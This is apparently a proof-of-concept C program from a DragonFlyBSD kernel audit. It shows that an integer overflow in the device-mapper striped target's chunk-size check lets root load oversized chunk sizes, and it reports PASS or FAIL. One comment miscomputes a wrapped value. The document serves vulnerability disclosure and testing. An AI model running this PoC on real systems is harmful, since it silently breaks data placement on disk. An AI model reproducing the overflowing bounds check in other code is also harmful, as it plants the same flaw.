⬢ DragonFlyBSD Kernel Audit
DF-4852 / dm_chunk.c
← back to finding ↓ download raw
/*
 * DF-4852 PoC -- dm_target_stripe_init() chunk-size validation is
 * bypassable via signed integer overflow in the bounds check.
 *
 * Bug (sys/dev/disk/dm/striped/dm_target_striped.c:98-103):
 *
 *	chunksize = atoi64(argv[1]);			// int  (u64 truncated)
 *	if (chunksize < 1 || chunksize * DEV_BSIZE > MAXPHYS) {
 *		kprintf("dm: Error unsupported chunk size %jdKB\n", ...);
 *		return EINVAL;
 *	}
 *
 * `chunksize * DEV_BSIZE' is int*int arithmetic.  For chunksize=4194304
 * (2^22) the product is exactly 2^31, which overflows int and wraps to
 * INT_MIN (-2147483648).  INT_MIN > MAXPHYS (131072, sys/cpu/x86_64/
 * include/param.h:122) is false, so the guard passes and a chunk size of
 * 2 GiB is accepted.  Every chunksize in [2^22, 2^31) whose product wraps
 * negative (or small-positive) is accepted; the intended cap is 256 KB.
 *
 * Consequence: tsc->stripe_chunksize is attacker-chosen up to 2^31-1
 * blocks, so the stripe geometry the admin loaded is NOT the geometry
 * the kernel implements (stripe = blkno / chunksize collapses onto
 * device 0 for any realistic device size) -> silent mis-striping /
 * data-placement integrity break, plus chunk sizes > MAXPHYS that the
 * check exists to reject.  (No kernel memory unsafety: the strategy/dump
 * math with huge chunksize stays in-bounds; verified in the finding.)
 *
 * Demonstration (all as root; /dev/mapper/control is 0640 root:operator):
 *   case A "4194304"  (2^22, product = 2^31 -> INT_MIN)   EXPECT ACCEPT (BUG)
 *   case B "1048576"  (2^20, product = 2^29, no overflow) EXPECT EINVAL
 *   case C "2147483647" (INT_MAX, product wraps to -256)  EXPECT ACCEPT (BUG)
 *   case D "128"      (64 KB chunks, legitimate)          EXPECT ACCEPT
 *   then dump the inactive table for case A via the "table" command with
 *   DM_QUERY_INACTIVE_TABLE_FLAG|DM_STATUS_TABLE_FLAG and print the
 *   params the kernel stored ("2 4194304 /dev/md0 0 /dev/md0 0").
 *
 * Build: cc -O -o dm_chunk dm_chunk.c -lprop
 * Run:   ./dm_chunk            (run as root with dm.ko+dm_target_striped.ko loaded)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV	"/dev/mapper/control"
#define DEV_NAME	"df4852dev"
#define LEG		"/dev/md0"	/* both stripe legs on the md device */

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
create_dev(int fd)
{
	prop_dictionary_t dict = new_dm_dict("create");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int
clear_inactive(int fd)
{
	prop_dictionary_t dict = new_dm_dict("clear");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int
remove_all(int fd)
{
	prop_dictionary_t dict = new_dm_dict("remove_all");
	int rv;

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Load one striped table entry mapping 4096 sectors:
 *   "2 <chunk> LEG 0 LEG 0"
 * (same pdev on both legs is legal; dm_table_add_deps dedupes it)
 */
static int
reload_striped(int fd, const char *chunk)
{
	prop_dictionary_t dict = new_dm_dict("reload");
	prop_array_t arr;
	prop_dictionary_t ent;
	char params[256];
	int rv;

	snprintf(params, sizeof(params), "2 %s %s 0 %s 0", chunk, LEG, LEG);

	arr = prop_array_create();
	ent = prop_dictionary_create();
	prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, "striped");
	prop_dictionary_set_uint64(ent, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 4096);
	prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, params);
	prop_array_add(arr, ent);
	prop_object_release(ent);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr);
	prop_object_release(arr);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* Dump the INACTIVE table entry params via the "table" command. */
static int
dump_inactive_table(int fd, char *out, size_t outlen)
{
	prop_dictionary_t dict = new_dm_dict("table");
	prop_array_t arr;
	prop_dictionary_t ent;
	const char *params = NULL;
	uint32_t flags = DM_QUERY_INACTIVE_TABLE_FLAG | DM_STATUS_TABLE_FLAG;
	int rv;

	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, flags);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	/* DragonFly's send_ioctl is one-way; use sendrecv for the response */
	rv = prop_dictionary_sendrecv_ioctl(dict, fd, NETBSD_DM_IOCTL,
	    &dict);
	if (rv == 0) {
		arr = prop_dictionary_get(dict, DM_IOCTL_CMD_DATA);
		if (arr != NULL && prop_array_count(arr) > 0) {
			ent = prop_array_get(arr, 0);
			prop_dictionary_get_cstring_nocopy(ent,
			    DM_TABLE_PARAMS, &params);
		}
		if (params != NULL)
			snprintf(out, outlen, "%s", params);
		else {
			char *xml = prop_dictionary_externalize(dict);
			snprintf(out, outlen, "(no params) raw=%s",
			    xml ? xml : "(externalize failed)");
			if (xml)
				free(xml);
		}
	} else {
		snprintf(out, outlen, "(ioctl rv=%d)", rv);
	}
	prop_object_release(dict);
	return rv;
}

static int
run_case(int fd, const char *label, const char *chunk, int expect_ok)
{
	int rv;

	clear_inactive(fd);
	rv = reload_striped(fd, chunk);
	printf("[case %s] chunk=%-11s reload rv=%d (%s)  EXPECTED: %s\n",
	    label, chunk, rv, rv ? strerror(rv) : "accepted",
	    expect_ok ? "ACCEPT" : "EINVAL");
	if ((rv == 0) != (expect_ok == 1)) {
		printf("[case %s] *** UNEXPECTED RESULT ***\n", label);
		return 1;
	}
	return 0;
}

int
main(void)
{
	char table[512];
	int fd, rv, fails = 0;

	setvbuf(stdout, NULL, _IONBF, 0);

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (run as root; kldload dm "
		    "dm_target_striped first)\n", DM_CONTROL_DEV,
		    strerror(errno));
		return 2;
	}

	/* drop any device left over from an earlier crashed run */
	remove_all(fd);

	rv = create_dev(fd);
	printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv,
	    rv ? strerror(rv) : "ok");
	if (rv)
		return 2;

	/* The bug: overflowed products wrap negative -> guard passes */
	fails += run_case(fd, "A", "4194304", 1);	/* 2^22 -> 2^31=INT_MIN */
	fails += run_case(fd, "B", "1048576", 0);	/* 2^20 -> 2^29: caught */
	fails += run_case(fd, "C", "2147483647", 1);	/* INT_MAX -> -256 */
	fails += run_case(fd, "D", "128", 1);		/* 64 KB: legitimate */

	/* Re-load case A and read back what the kernel actually stored */
	clear_inactive(fd);
	rv = reload_striped(fd, "4194304");
	printf("[*] final load (case A geometry): rv=%d\n", rv);
	rv = dump_inactive_table(fd, table, sizeof(table));
	printf("[*] inactive table params: \"%s\"\n", table);
	if (rv == 0 && strstr(table, "4194304") != NULL)
		printf("[*] CONFIRMED: kernel accepted+stored chunk size "
		    "4194304 blocks (2 GiB chunks) -- validation bypassed\n");
	else
		fails++;

	rv = remove_all(fd);
	printf("[*] remove_all: rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok");

	printf("[%s] %d unexpected case result(s)\n",
	    fails ? "FAIL" : "PASS", fails);
	close(fd);
	return fails ? 1 : 0;
}